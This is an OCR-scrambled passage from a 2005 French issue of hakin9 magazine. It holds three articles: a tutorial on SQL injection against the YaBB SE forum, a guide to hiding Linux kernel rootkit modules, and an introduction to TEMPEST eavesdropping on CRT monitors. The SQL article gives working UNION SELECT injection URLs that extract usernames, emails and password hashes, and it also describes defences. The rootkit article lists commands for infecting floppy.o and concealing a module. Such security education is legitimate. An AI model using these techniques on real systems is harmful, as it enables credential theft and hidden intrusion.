la ligne trouvée dans l'instruction deux sélections. Nous pouvons dé- notre instruction SELECT est analysée
originale puis de l'améliorer avec le sormais appeler SSI.php?function=re syntaxiquement. Après avoir modifié
caractère de contrôle /*, ce afin d'em- centTopics&ID_MEMBER= 1) LEFT les arguments de notre instruction
pêcher l'application de traiter le code JOIN yabbse_log _mark_read AS lmr SELECT, nous pouvons appeler dé-
qui suivait. La nouvelle connexion est ON (lmr.ID_BOARD=t.ID_BOARD sormais SSI.php?function=recentTo
la suivante : SSI.php?function=recent AND lmr.ID_MEMBER=1) UNION pics&ID_MEMBER=1) LEFT JOIN
Topics&ID_MEMBER=1) LEFT JOIN SELECT ID_MEMBER, member- yabbse_log _mark_read AS lmr
yabbse_log _mark_read AS lmr ON Name FROM yabbse_members /*. ON (lmr.ID_BOARD=t.ID_BOARD
(lmr.ID_BOARD=t.ID_BOARD AND Malheureusement, cette déclaration AND lmr.ID_MEMBER=1 OR 1=1)
lmr.ID_MEMBER=1) /*. La page renvoie le message suivant : The UNION SELECT null, member-
désormais affichée ne donne aucun used SELECT statements have a Name, null, emailAddress, null,
résultat de recherche. different number of columns (Les passwd,null,null,null,null,null,null
Si nous utilisons les injections instructions utilisées SELECT con- FROM yabbse_members /*.
SQL, il semblerait que notre requête tiennent un nombre différent de Enfin, nous pouvons voir le nom
soit correcte. Mais où donc placer colonnes). En effet, le nombre de co- de l'utilisateur ainsi que le mot de
notre requête UNION SELECT toujours lonnes sélectionnées au moyen de la passe haché. L'adresse e-mail de-
absente ? Nous pouvons tout sim- requête UNION doit être identique pour meure cependant cachée sous le
plement améliorer cette instruction au les deux tables. lien du mot de passe haché (voir la
moyen de la chaîne appropriée UNION Il nous faut donc passer le nom- Figure 3). Nous avons tout de même
SELECT. Par approprié nous n'enten- bre de colonnes sélectionnées de atteint notre objectif : nous avons
dons pas seulement valide, mais éga- la première instruction à 12 – notre obligé l'application à traiter une ins-
lement référencé vers les informations SELECT après UNION n'en comporte truction SELECT vers les tables autres
que nous souhaitons obtenir du sys- que trois pour le moment. Afin que le script original.
tème. Si nous considérons la structure d'améliorer notre instruction, nous
des bases de données MySQL, nous devrions ajouter une option de type C'est pas sorcier !
devrions trouver une table appelée null chargée de compter sans trans- Comme nous l'avons déjà évoqué,
yabbse_members contenant – entre porter aucune donnée, bien entendu. les injections SQL sont en réalité
autres – le nom de l'utilisateur, le Ce qui nous conduit à la nouvelle une sorte d'attaque par validation
mot de passe haché avec la fonction connexion suivante : SSI.php?functi d'entrée. Ces attaques sont très
md5_hmac, l'adresse e-mail etc. En on=recentTopics&ID_MEMBER= 1) efficaces sur les applications qui
supposant que nous disposions d'un LEFT JOIN yabbse_log _mark_read analysent l'ensemble des données
accès pour exécuter une requête SQL AS lmr ON (lmr.ID_BOARD=t.ID_ d'entrée de l'utilisateur de manière
de type SELECT qui consiste à sélec- BOARD AND lmr.ID_MEMBER=1 directe sans aucun contrôle, ainsi
tionner les champs nommés, nous uti- OR 1=1) UNION SELECT member- que sur les applications où l'ensem-
liserions une instruction de ce genre : Name, emailAddress, passwd, null, ble des caractères de contrôle (tels
SELECT memberName, passwd, emailAd- null, null, null, null, null, null, null, null que la barre oblique – slash ou la
dress FROM yabbse _ members. FROM yabbse_members /*. barre oblique inverse – backslash)
Nous améliorons donc notre ins- Nous pouvons déjà voir s'afficher sont interprétés. En tant que pro-
truction d'injection grâce à l'expres- une adresse e-mail sur l'écran de grammeur, vous devez vous assurer
sion SELECT puis nous ajoutons le mot résultat, mais où se trouve le reste que toutes les données d'entrée de
magique UNION. Ce procédé encou- des colonnes choisies ? Si nous l'utilisateur soient validées puis dé-
rage la base de données à associer examinons le code source – notam- sarmées. Il vous est possible dans
l'instruction originale SELECT à celle ment celui de l'analyseur syntaxique ce cas, d'ajouter tout simplement la
que nous avons ajoutée nous-mêmes. HTML qui permet de rendre visible fonction addslash() à chaque donnée
Le résultat obtenu est une combinai- le résultat de la requête SQL sur le d'entrée des utilisateurs avant de les
son de nos deux requêtes contenant site Web – nous aurons la possibilité traiter. Si cette fonction est bien
l'ensemble des rangées à partir des de voir où et comment le résultat de ajoutée, l'ensemble des caractères

hakin9 N o 3/2005 www.hakin9.org 33


' (guillemet unique), " (guillemet Examinons maintenant les con- magic quotes dans le serveur en lan-
double), \ (barre oblique inverse) séquences que peuvent avoir les çant get _ magic _ quotes _ gpc().
et NULL sera annulé au moyen d'une magic quotes (guillemets magiques) Enfin, il faut également s'assurer
barre oblique inverse à la fin de cha- avec un exemple : supposons que que la fonction magic _ quotes _ run-
que instruction, chargée d'indiquer quelqu'un entre la chaîne Jenny's time() n'est pas activée. À ce sujet,
à l'interpréteur PHP de ne pas utiliser my beloved wife ! dans un champ le manuel d'utilisation PHP dit : Si
ces caractères comme caractères de formulaire. La commande SQL magic_quotes_runtime est activée,
de contrôle, mais plutôt comme des sous-jacente est alors $query = la majorité des fonctions chargées de
éléments normaux du texte. "INSERT INTO postings SET content retourner des données à partir d'une
Un administrateur pourrait égale- = '$input'"; Que se passe-t-il dans quelconque source externe, parmi
ment avoir la possibilité de protéger l'ensemble de la chaîne de la requête lesquelles des bases de données
ses applications Web en modifiant le si un programmeur ou un administra- et des fichiers textes, contiendra des
fichier php.conf afin de protéger l'en- teur y ajoute des barres obliques ? guillemets annulés. Heureusement,
semble des données d'entrée. Pour La chaîne deviendrait alors $query = il est possible d'annuler cet effet
ce faire, il est possible de modifier les "INSERT INTO postings SET content = manuellement.
variables magic _ quotes _ gpc = On 'Jenny\'s my beloved wife!'";. Ainsi,
pour toutes les requêtes GET/POST le guillemet simple est dépourvu de D'autres techniques
ainsi que pour les données du cookie pertinence en ce qui concerne la d'attaques
et les variables magic _ quotes _ run- requête, car il ne fait plus partie de Il existe bien sûr d'autres techniques
time = On pour les données issues la chaîne. Si quelqu'un désire affi- d'Injections SQL également capables
de l'ensemble de SQL, exec() etc. La cher la requête sur votre site Web, de modifier des données existantes
majorité des distributions Linux font il faudra qu'il utilise la fonction PHP en pénétrant les instructions SQL au
déjà appel à ces valeurs par défaut stripslashes() afin de supprimer de moyen des commandes SET, ou même
– uniquement dans le but d'obtenir la chaîne les barres obliques gênan- de supprimer des tables si le script
un niveau basique de sécurité sur tes pour rendre cette dernière de permet de poster des requêtes à plu-
le serveur Web qu'elles contiennent. nouveau lisible. sieurs lignes. Dans le cas du langage
Tous ces pièges peuvent être évités Mais, que se passe-t-il si le PHP, ces techniques sont possibles
sur des installations PHP dont la syn- programmeur et l'administrateur uniquement si la requête vulnérable
taxe est propre. ajoutent tous les deux des barres a déjà exécuté une commande SET
Mais que se passerait-il si nous obliques ? Y aura-t-il un ou deux ou DROP TABLE, puisque les requêtes
disposions d'autres instructions pou- barres obliques ? Il y en aura en traitées par mysql _ query() sont cen-
vant être insérées sans avoir recours réalité trois. Bien sûr, le premier est sées ne pas contenir le caractère ;
aux guillemets ? La plupart des inséré par PHP en raison de la con- (qui ferme l'instruction pour le serveur
attaques par injections SQL serait figuration, le second est inséré par SQL). Il est impossible de terminer une
alors bloquée, mais qu'adviendrait-il la fonction addslashes() – il n'existe instruction et d'en débuter une autre si
pour la partie suivante de la famille, aucun moyen pour que cette fonction les requêtes sont exécutées au moyen
comme XSS (cross-site scripting) ? reconnaisse les caractères neutrali- de mysql _ query().
Il subsiste encore des possibilités, sés. Le troisième est précisément Vous pouvez voir à quel point ces
par exemple au moyen d'une inser- l'annulation ajoutée encore une fois attaques sont dangereuses quand
tion de la balise HTML <iframe>. Grâ- par la fonction addlashes() pour elles utilisent les injections SQL et
ce à cette technique, l'auteur d'une annuler le caractère d'annulation combien il est difficile d'élaborer des
attaque pourrait facilement insérer (escape) ajouté par PHP. Pourquoi scripts fiables et sécurisés toujours
sa propre page HTML sur votre site. la fonction devrait-elle noter que le capables de délivrer les bonnes
Il revient donc au programmeur de guillemet simple est déjà supprimé ? données. La seule et unique règle
sécuriser chaque donnée d'entrée Le véritable défi serait de retrouver à respecter est la suivante : Ne faites
des utilisateurs modifiables contre maintenant notre chaîne originale jamais confiance à vos utilisateurs
les autres attaques du type XSS. – il nous faut réduire le nombre de (vraiment, jamais !). Le programmeur
Si un développeur souhaite disposer barres obliques. Bien sûr, la fonc- devra s'assurer de toujours contrôler
Attaque

d'une classe parfaitement dévelop- tion stripslashes() va échouer et la les données d'entrée de l'utilisateur
pée afin de purger les chaînes utili- seule façon de corriger le script con- en cas de pièges dans les données
sateurs de caractères malveillants, siste donc à contrôler la présence de et ce afin de les désarmer. n
il est fort probable qu'il veuille faire
appel à Open Web Application Se-
curity Project du projet PHP Filters.
Sur le réseau :
Vous pouvez consulter le site dont • http://prodownloads.sourceforge.net/yabbse/ – référentiel du projet YaBB SE,
l'adresse est indiquée dans l'Enca- • http://www.owasp.org – Open Web Application Security Project.
dré Sur le réseau.

34 www.hakin9.org hakin9 N o 3/2005


Méthodes de dissimulation
des modules du noyau
dans Linux
Mariusz Burdach

L'insertion d'un rootkit en module


dans le noyau est le début de
la tâche de l'intrus. Pour rester
inaperçu, il faut trouver le moyen
de cacher ce code de façon à ne
pas éveiller des soupçons.

D
ans l'article publié dans le numéro
précédent (Rootkit personnel dans
Déconnecter un module
GNU/Linux, hakin9 2/2005), nous de la liste
avons présenté le processus de création Pour déconnecter un module de la liste, nous
d'un rootkit pour le système GNU/Linux avec allons exploiter la technique qui consiste en
le noyau de la série 2.4. Le rootkit – vous le la modification directe des objets dans la
trouverez sur le CD hakin9.live joint au maga- mémoire réservée pour le noyau du système
zine – était chargé dans le noyau du système d'exploitation (en anglais direct kernel object
d'exploitation à l'aide d'un module. Comme manipulation). Cette technique, contraire-
nous l'avions dit, le module chargé (conte- ment à celle décrite dans l'article précédent,
nant le code qui intercepte l'appel système ne modifie pas le fonctionnement du système
getdents()) n'était pas dissimulé. C'est pour- d'exploitation – en effet, l'objet caché est plus
quoi, il était facile à détecter – par exemple,
à l'aide de la commande cat /proc/modules
qui affi che tous les modules chargés actuel- Cet article explique...
lement dans le système.
• comment cacher les modules du noyau de
Dans cet article, nous allons nous occuper
Linux.
des méthodes qui permettront de dissimuler
Attaque

un module quelconque dans le système. Vous


allez connaître deux techniques fondamen-
Ce qu'il faut savoir...
tales – la première consiste à déconnecter • comment fonctionne le noyau du système
le module de la liste des modules chargés, Linux,
et la seconde – à ajouter le module à un • créer des modules du noyau, même les plus
autre module typique utilisé ordinairement simples,
par le système d'exploitation (cette technique • connaître le langage C au moins au niveau de
permettant d'éveiller moins de soupçons, est base.
plus effi cace).

36 www.hakin9.org hakin9 N o 3/2005


Dissimulation des modules du noyau dans Linux

C'est cette liste qui est lue par


la fonction système query _ module()
(appelée par le programme lsmod).
La structure de chaque objet repré-
sentant le module contient le champ
next qui pointe vers l'adresse de l'ob-
jet du module précédemment chargé.
Chaque objet (module) pointe vers le
module chargé précédemment en
constituant ainsi une liste des objets
interconnectés, ce qui est présenté
sur la Figure 1.
La méthode la plus simple pour
cacher un module consiste à dé-
connecter l'objet représentant un
Figure 1. La liste des modules interdépendants module de la liste. Comme vous
pouvez deviner, il suffit de modifier
difficile à détecter. Comme vous sont liés à travers une liste. L'objet le champ next.
vous rappelez, pour filtrer certai- d'un module dernièrement chargé Le mode opératoire est le sui-
nes données (p. ex. le numéro du pointe vers l'objet du module vant :
processus ou le nom de fichier), chargé précédemment. Le corps
il faut intercepter une ou plusieurs de la fonction init _ module() se • nous chargeons le module X
fonctions agissant dans l'espace du présente ainsi : (c'est le module que nous vou-
noyau du système d'exploitation. lons cacher),
Dans cette méthode, aucune fonc- this_module.next = § • nous chargeons le module Y qui
tion ne sera interceptée, mais nous this_module.next->next; pointe vers le module X,
allons modifier les objets représen- • nous modifions le champ next
tant les modules actifs. De plus, l'objet du module chargé de l'objet du module Y qui
en premier pointe vers l'objet du pointe vers l'objet du module X
Liste des objets module dernièrement chargé. – le champ next doit contenir
Dans la mémoire vive, tous les Cette situation a été présentée sur l'adresse de l'objet qui précède
objets représentant les modules la Figure 1. le module X (l'état avant et après
la modification est présenté sur la
Figure 2),
• nous supprimons le module Y de
la mémoire ; lors du processus
de suppression du module de la
mémoire, la fonction sys _ dele-
te _ module() modifiera la liste des
modules connectés. Pendant la
modification, la fonction utilisera le
champ next de l'objet du module Y.
Vu que le champ next a été mo-
difié (il pointe maintenant vers le
module suivant – Z), la liste sera
mise à jour de façon incorrecte (en
négligeant notre module X).

Attention : après une telle modifica-


tion de la liste, il sera impossible de
supprimer le module X de la mémoi-
re – pour cela, il faudra redémarrer le
système d'exploitation.
À ce moment, nous avons atteint
notre but. Le module fonctionne cor-
rectement et n'est pas présent sur la
Figure 2. L'état du système avant et après la modification de la liste liste des modules actifs.

hakin9 N o 3/2005 www.hakin9.org 37


Listing 1. La structure de la section .symtab Listing 2. La structure du
module modifié que nous avons
typedef struct
l'intention de lier au module
{
Elf32_Word st_name; /* Symbol name (string tbl index) */ original
Elf32_Addr st_value; /* Symbol value */
init_modula()
Elf32_Word st_size; /* Symbol size */
{
unsigned char st_info; /* Symbol type and binding */
...
unsigned char st_other; /* Symbol visibility */
init_modulx();
Elf32_Section st_shndx; /* Section index */
}
} Elf32_Sym;

cleanup_modula()
{
Ajout des modules Mais il y a une condition impor- ...
Une autre technique permettant tante : les symboles des objets liés cleanup_modulx();
}
de cacher efficacement le module ne peuvent pas se répéter (si l'on lie
consiste à lier ce module à un autre le module A au module B, les sym-
module chargé par défaut par le sys- boles qui s'y trouvent ne doivent pas
tème d'exploitation. Cela peut être, avoir des noms identiques – il s'agit – pour obtenir la liste de tous les
par exemple, le module responsable avant tout des symboles : init _ mo- modules chargés, il faut exécuter la
de la gestion de la carte réseau, du dule et cleanup _ module). commande lsmod. Dans Linux, les
système de fichiers ou du filtre de Les deux modules sont liés fichiers de modules se trouvent dans
paquets. Le plus grand avantage de à l'aide de l'éditeur des liens ld qui le sous-répertoire /lib/modules/.
cette solution est qu'il ne faut pas se fait partie du paquet binutils. Ce pa- Pourtant, comme nous l'avions
soucier du démarrage du module quet est disponible par défaut dans déjà dit, avant d'effectuer les liens,
parce qu'il sera lancé automatique- chaque distribution de Linux. Il faut il faut modifier l'un des modules de
ment par le système d'exploitation. aussi utiliser l'option -r, pour obtenir façon à ce que les noms des symbo-
Il est possible d'établir un lien car en résultat un objet réalloué – c'est- les ne se répètent pas.
le module est un fichier de type ELF à-dire, dans notre cas, le module
réallouable (en anglais Executable résultant que nous renommerons Modification du module
and Linking Format – cf. l'article de ensuite avec le nom original. Par Chaque module qui sera chargé
Marek Janiczek Ingénierie inverse exemple, si nous voulons infecter par le système d'exploitation doit
du code exécutable ELF dans l'ana- le module floppy.o, la procédure se posséder au moins deux symboles :
lyse après intrusion, hakin9 1/2005). présentera comme suit : init _ module et cleanup _ module.
Ce qui est important pour nous, c'est Ces symboles sont utilisés pendant
que le fichier contient du code et des # ld -r floppy.o rootkit.o \ le processus du chargement et de
données que nous pouvons lier à un -o new.o la suppression du module dans
autre fichier de même type. En résul- # mv new.o floppy.o et de la mémoire. Lors du charge-
tat, nous pouvons obtenir un fichier ment d'un module dans la mémoire
exécutable réallouable. Grâce à cet- La meilleure idée est de choisir le à l'aide de l'outil insmod, la fonction
te propriété, nous sommes capables module qui est chargé lors du dé- obj _ fi nd _ symbol localise l'adresse
de lier deux modules l'un à l'autre. marrage du système d'exploitation de la fonction init _ module, pour
que cette adresse, dans la dernière
étape de l'initialisation, soit exploitée
par la fonction init() pour l'appeler
(init _ module).
Nous savons que lors de l'initiali-
sation du module, la fonction init _
module est appelée. De cela, l'unique
Attaque

chose à faire après l'établissement


des liens, est la modification du mo-
dule de façon à appeler la fonction
d'initialisation du module ajouté,
et pas du module original auquel
nous ajoutons notre code. Pour
que le code du module original soit
Figure 3. La table des chaînes de caractères (.strtab) dans le champ au aussi démarré, nous devons appe-
format ELF ler dans notre module la fonction

38 www.hakin9.org hakin9 N o 3/2005


Dissimulation des modules du noyau dans Linux

d'initialisation du module original. 11 caractères. Dans notre cas, que • init _ moduleen init _ modulx,
N'oubliez pas non plus que dans ces ce nom soit init _ modula. Après le • init _ modulaen init _ module,
deux modules, les symboles ne doi- linkage, nous devons encore chan- • cleanup _ module en cleanup _ mo-
vent pas être identiques. ger ce nom en init _ module – ainsi, dulx,
Étant donné que nous n'avons pendant le chargement du module • cleanup _ modula en cleanup _ mo-
pas toujours accès au code source dans la mémoire, la fonction init() dule.
du module original, il est néces- appellera la fonction d'initialisation
saire que notre module soit modifié à partir du module ajouté. Pour modifier la table .strtab, nous
de façon appropriée (cf. l'article Pour laisser les fonctions du pouvons exploiter un éditeur hexa-
Rootkit personnel dans GNU/Linux, module original, nous devons décimal quelconque, par exemple
hakin9 2/2005). à partir de notre module, appeler hexedit. Pour obtenir le décalage
Pendant la modification, il ne la fonction originale init _ module dans le module binaire à partir du-
faut pas oublier une autre limitation (nommée déjà init _ modulx). Cela quel la table commence, nous pou-
relative à la longueur des noms des signifie qu'avant la compilation de vons utiliser la commande readelf
fonctions. Tous les symboles pour notre module, nous devons connaî- -S floppy.o, comme cela est présenté
les objets ELF se trouvent dans tre déjà le nom futur de la fonction au-dessous :
la table des symboles .symtab. La originale init _ module (ici, nous
structure de la section est présentée l'avons appelée init _ modulx). $ readelf -S floppy.o \
dans le Listing 1 (vous la trouverez Nous devons effectuer la même | grep .strtab
aussi dans le fichier d'en-tête /usr/ opération pour la fonction clea- [21] .strtab STRTAB §
include/elf.h). nup _ module. Nous admettons que 00000000 0119e0 001279 00 0 0 1
Le contenu de la section .symtab la fonction originale cleanup _ module
d'un module donné peut être affiché portera le nom cleanup _ modulx. De Maintenant, nous n'avons qu'à
à l'aide de la commande : plus, dans le code de notre module, charger le module de l'éditeur bi-
nous changerons le nom de clea- naire et à modifier les symboles
$ readelf -s <nom_du_module>.o nup _ module en cleanup _ modula, appropriés.
et le corps de la fonction contiendra Maintenant, nous pouvons
Le champ st _ name est un poin- le renvoi à la fonction originale clea- charger le module fl oppy.o infecté
teur à la table contenant les noms nup _ module (alors, après modifica- et le placer dans le sous-réper-
de tous les symboles. Cette table tion, cleanup _ modulx). toire approprié dans le répertoire
(.strtab) comprend les chaînes de Le structure de notre module /lib/modules (/lib/modules /kernel/
caractères terminées par le carac- à compiler devra être similaire à celle drivers/block/ ).
tère null. L'exemple est présenté sur du Listing 2.
la Figure 3. Le code source entier (prêt à être Beauté de la simplicité
lié) est disponible sur le CD joint au Les méthodes de dissimulation des
Modification des noms magazine. Après la compilation du modules présentées dans cet article
des fonctions module et le linkage, nous obtenons sont très simples à comprendre,
Pour appeler une fonction ap- le module résultant qui doit avoir le et ce qui est le plus important – effi-
propriée lors de l'initialisation du même nom que le module original caces. Grâce à elles, la dissimulation
module, il faut modifier le contenu (par exemple floppy.o). du code malicieux (sous forme d'un
de cette table. La méthode la plus module) dans un système Linux est
simple consiste à modifier les noms Modification de la table .strtab simplissime.
de certains symboles dans le fichier La dernière opération à faire est la Mais ce ne sont pas toutes les
de résultat lié – il faudra changer le modification de la table contenant difficultés auxquelles l'auteur des
nom de la fonction init _ module en, les chaînes de caractères (.strtab). rootkits doit faire face. Il peut arriver
par exemple, init _ modulx. Pourtant, Comme nous pouvons supposer, la que la fonction de chargement des
n'oubliez pas qu'avant la modifi - modification du module résultant con- modules soit désactivée dans le
cation, init _ module pointe vers la siste à modifier quelques lettres dans système. Notre rootkit basé sur le
fonction du module original. l'endroit approprié. La méthode plus module sera donc inutile, et il faudra
Avant la compilation de notre élégante consistera à construire de utiliser d'autres techniques. Heu-
module, nous devons choisir le nom nouveau les tables .strtab et .symtab. reusement, il existe des méthodes
de la fonction d'initialisation. Nous Quant à nous, nous nous concentre- permettant d'éviter tous ces incon-
savons que cela ne peut pas être rons sur la modification manuelle. vénients, mais c'est un sujet pour un
init _ module. De plus, le nom de la Les modifications dans le tableau autre article. n
fonction doit être constitué du mê- se ramènent à la modification des
me nombre (ou inférieur) de carac- noms suivants (dans l'ordre donné
tères qu'i nit _ module, par exemple ci-dessous) :

hakin9 N o 3/2005 www.hakin9.org 39


TEMPEST – émissions
compromettantes
Robin Lobel

TEMPEST, aussi connu sous


le nom de Van Eck Phreaking,
est l'art de transformer des
émissions involontaires en
données compromettantes.
Cela concerne principalement
les ondes électromagnétiques,
mais le principe peut être aussi
bien appliqué à n'importe quel
type d'émanations involontaires
induites par le fonctionnement
interne d'un périphérique. Le
plus commun des phénomènes
TEMPEST est relatif aux
moniteurs CRT.

L
es premières études concernant le
phénomène de compromission des on- Cet article explique...
des électromagnétiques remontent aux
• vous aurez assez de connaissance pour com-
années 1950. C’est en espionnant les trans-
mencer à construire votre propre système TEM-
missions de messages russes encryptés que
PEST.
la NSA s’aperçut de faibles cliquetis parasites
dans la tonalité porteuse, qu’émanaient des
Ce qu'il faut savoir...
électro-aimants de la machine d’encodage. En
construisant le dispositif approprié, il fut possi- • vous devez avoir quelques notions de montage
ble de reconstruire le texte en clair sans avoir électronique,
à décrypter les transmissions. Ce phénomène • vous devez connaître les bases de l'électroma-
pris successivement les noms de NAG1A, puis gnétisme.
FS222 dans les années 60, NACSIM5100 dans
les années 70, et finalement TEMPEST (acro-
nyme pour Transient Electromagnetic Pulse
Emanation Standard, bien que cette version À propos de l'auteur
Robin Lobel a mené plusieurs projet de re-
soit également controversée) à partir de 1980.
cherche informatique depuis quelques années,
En 1985 un scientifique Hollandais, Wim
Attaque

entre autre compression audio, analyse d'ima-


van Eck, publia un rapport sur les expérien-
ges temps réel, moteur 3d temps réel, etc.
ces qu’il menait depuis janvier 1983 dans Il a étudié de manière approfondie le système
ce domaine. Il montre qu’un tel système est TEMPEST en 2003 et eu la chance de dispo-
réalisable avec peu de moyen, cependant il ser d'un laboratoire complet pour mener à bien
ne donne que très peu de données concer- ses expériences. Il aime aussi composer de la
nant les expériences elles-mêmes. En 1986 musique et faire du graphisme 2D/3D. Étudie
et 1988 des rapports complémentaires furent actuellement le cinéma à Paris. Son site web :
publiés, suite à l’article de van Eck, mais sans http://www.divideconcept.net.
apporter d’autres informations concernant les

40 www.hakin9.org hakin9 N o 3/2005


Émissions compromettantes

Figure 2. Une grille de pixels forme une image – la finesse de l'image


dépend de la densité de pixels

fantôme, comme la chaleur, l'odeur de aux mêmes règles et n'offre pas les
cuisine et même votre propre ombre. mêmes possibilités. Contrairement
Figure 1. Rouge, vert et bleu
De telles informations sont indispen- aux émissions électromagnétiques,
se mélangent pour synthétiser
sables aux détectives car elles sont les lumières dans un système infor-
n'importe quelle couleur
leur seul base pour reconstituer ce qui matique ont des rôles spécifi ques,
expériences. En 1998 John Young, s'est réellement passé. Physiquement et sont volontairement placées
un citoyen américain, demande parlant, il y a trois genres de fantômes pour informer de l'état du système.
à la NSA de publier des informa- qui peuvent nous aider à reconstruire Si vous observez les LEDs de plus
tions déclassifiées concernant le les données dans le domaine infor- près, elles répondent également
système TEMPEST. Voyant sa re- matique : électromagnétique, optique aux potentiels électriques, donc la
quête rejetée, il fait appel et obtient et acoustique. moindre fluctuation dans le sys-
finalement en 1999 quelques docu- tème a un effet sur les LEDs et
ments, mais largement censurés. Émission électromagnétique peut être perçue par des capteurs
Très peu d’informations sont dis- La trace la plus discrète et informa- optiques. Cela ne peut cependant
ponible sur ce système. La plupart tive. Partant du principe que tous les être utile que pour des événements
des documents ne font qu’exposer ordinateurs utilisent l'électricité et particuliers dans des conditions
superficiellement le phénomène, qu'un potentiel électrique induit un spéciales. De plus, l'information
sans rentrer dans les détails d’une champ électromagnétique propor- acquise n'est pas forcément inté-
expérience pratique. tionnel au potentiel, nous pouvons ressante.
déduire l'activité électrique interne.
Mais de quoi s'agit-il ? Ceci peut être appliqué aux périphé- Information acoustique
Le principe de TEMPEST et ses dé- riques d'affichage CRT et n'importe À peu près les mêmes possibilités
rivés est de reconstruire les données quel câble ou fil non protégé. qu'avec les émissions optiques.
originales à partir des informations Même moins, car la majorité d'un
fantômes. Un fantôme est une trace Fantômes optiques système informatique est silencieux,
laissée par un objet dans son environ- Bien qu'étant une onde électro- seules les parties mécaniques sont
nement. Une empreinte de pas est un magnétique, la lumière n'obéit pas sujettes à des productions acousti-
ques. Il y a très peu d'applications
pour ce genre d'émission. Un enre-
Sur le réseau : gistreur de clé matériel basé sur les
événements acoustiques pourrait
• http://upe.acm.jhu.edu/websites/Jon_Grover/page2.htm – des bases sur le van
être un bon exemple.
Eck phreaking,
• http://www.eskimo.com/~joelm/tempest.html – la page d'information complète
mais non officielle de TEMPEST, Une étude en
• http://www.noradcorp.com/2tutor.htm – page de la compagnie NoRad CRT Moni- particulier : les
tors as a Source of Electromagnetic Waves,
• http://xtronics.com/kits/rcode.htm – code de couleur des résistances,
émissions des
• http://web.telia.com/~u85920178/begin/opamp00.htm – l’explication sur les am- moniteurs CRT
plificateurs opérationnels, Une des émissions les plus inté-
• http://www.hut.fi /Misc/Electronics/circuits/vga2tv/vga2palntsc.html – le dispositif ressantes vient du périphérique
de conversion des signaux de synchronisation de Tomi Engdahl. d'affi chage, car son activité interne
est clairement en rapport avec des

hakin9 N o 3/2005 www.hakin9.org 41


directe de l’image. Un faisceau
d’électrons balaye une couche fluo-
rescente à très grande vitesse pour
afficher l’image. Le balayage se fait
de gauche à droite et de haut en bas,
à une fréquence de 50 Hz à 100 Hz
sur la totalité de l’écran.
La couche fl uorescente est
excitée au passage de ces élec-
trons et émet de la lumière. Cette
Figure 3. Un faisceau d'électrons couche est également phosphores-
produit l'image sur l'écran cente, c'est-à-dire qu’elle continue
à émettre de la lumière pendant
informations importantes. De plus, un bref instant (de 10 à 20 ms)
ce périphérique émet de fortes après son excitation. La lumino-
ondes électromagnétiques qui sont sité est déterminée par le débit
relativement aisées à capturer et d’électrons, régulé par un wehl-
à traiter. net (composant électronique). Le
faisceau passe ensuite entre 2
Le fonctionnement bobines (une pour déterminer la Figure 4. Une différence
des moniteurs déviation verticale, l'autre pour la de potentiel dans un câble
Toutes les couleurs peuvent être déviation horizontale, en utilisant conducteur produit une onde
décomposées en trois couleurs les forces électromagnétiques) électromagnétique
fondamentales : rouge, vert et bleu pour diriger sa trajectoire, afin
(voir Figure 1). Il est possible de réaliser le balayage de l’écran de synchronisation verticaux, et
– à travers la combinaison de ces et reconstruire une image complète 600*70=42000 fois par seconde
trois couleurs – de recréer n'im- (voir Figure 3). pour les signaux de synchronisation
porte quelle couleur, en variant Le signal vidéo passe par plu- horizontaux.
ces proportions fondamentales. sieurs canaux (6 canaux pour le Les signaux vidéos sont des
Une image est considérée comme signal vidéo lui-même). C'est-à-dire tensions de 0 V à 0.7 V, qui défi -
un assemblage complexe de cou- les canaux rouge, vert, bleu et leurs nissent l’intensité du point lumineux
leurs, sous la forme d’une grille de masses respectives, plus 2 canaux (plus le voltage est élevé, plus le
pixels (voir Figure 2). Un pixel est de synchronisation pour le balayage pixel est lumineux) à l’endroit du
un point composé des 3 couleurs vertical et horizontal, et la masse balayage (cette tension est donc
(rouge, vert, bleu). Il est possible commune aux signaux de synchro- amenée à varier à chaque nouveau
de recréer des images précises en nisation. pixel de couleur différente ; pour
augmentant la densité de pixels. La Les signaux de synchronisation, un écran de résolution 800*600
résolution d'une image est repré- qui indiquent le passage à la ligne avec un rafraîchissement de 70
sentée par x*y, avec x le nombre de suivante ou le retour du faisceau au Hz, les changements de tensions
pixels horizontaux, et y le nombre début de l’écran, sont de simples dif- peuvent aller à une fréquence de
de pixels verticaux (exemples : férences de potentiels de quelques 800*600*70=34 MHz, soit 34 000
640*480, 800*600, 1024*768 etc.) volts. Ils ont lieux (pour un écran 000 de fois par seconde).
Un écran est composé de plu- d’une résolution de 800*600 pixels
sieurs modules. D'abord un tube avec un rafraîchissement de 70 Hz) Le phénomène d'induction
cathodique qui sert à la restitution 70 fois par seconde pour les signaux La moindre différence de potentiel
Attaque

Figure 5. Écran d'exemple, son codage électrique correspondant et son induction électromagnétique

42 www.hakin9.org hakin9 N o 3/2005


Émissions compromettantes

distance d'une centaine de mètres système à deux ou trois mètres du


sans aucun contact physique en moniteur. Pour de plus grandes dis-
utilisant une antenne. La force tances il faudra utiliser une antenne
de l'onde est proportionnelle au parabolique (Figure 6), qui devra
contraste entre deux pixels con- être pointée vers le périphérique
sécutifs. Bien sur, comme les trois d'affichage ; elle est extrêmement
composants de la couleur sont trai- sensible et directionnelle, c'est-à-
tés simultanément et qu'une seule dire qu'elle peut capturer même de
onde électromagnétique est émise très faibles émissions à partir d'un
(pour être plus précis, les ondes point précis de l'espace.
Figure 6. Un modèle d'antenne électromagnétiques se mélangent L'antenne va capturer un signal
parabolique en une seule quand elles sont émi- très parasité. Ce bruit est dû à la
ses), on ne peut espérer retrouver pollution électromagnétique de l'en-
(c'est-à-dire, quand une quantité de les informations de couleur. vironnement (divers émissions ra-
tension électrique monte ou des- dios). Heureusement les moniteurs
cend) dans un matériau électrique- Monter émettent dans une bande restreinte
ment conducteur produit une onde un système TEMPEST de hautes fréquences, ce qui nous
électromagnétique proportionnelle Un écran d'exemple, son codage permet de récupérer le signal en
au potentiel : ceci est appelé phé- électrique correspondant et son utilisant un filtre.
nomène d'induction (voir Figure 4). induction électromagnétique peu-
Ce comportement est décrit par les vent être trouvés en Figure 5. Sur Filtrage
équations de Maxwell. Il n'est cepen- la gauche, on peut observer une Pour récupérer le signal, nous devons
dant pas nécessaire de comprendre échelle de dégradé sur un écran filtrer toutes les fréquences inférieu-
toutes les règles mathématiques moniteur. L'image centrale montre res à la fréquence d'un seul pixel (ceci
et physiques derrière ça pour exploi- le même signal vidéo analysé par élimine également l'onde générée par
ter le phénomène. un oscilloscope. Enfin, l'image le signal de synchronisation, qui rend
Le phénomène inverse est éga- de droite montre l'émission élec- difficile la récupération du début des
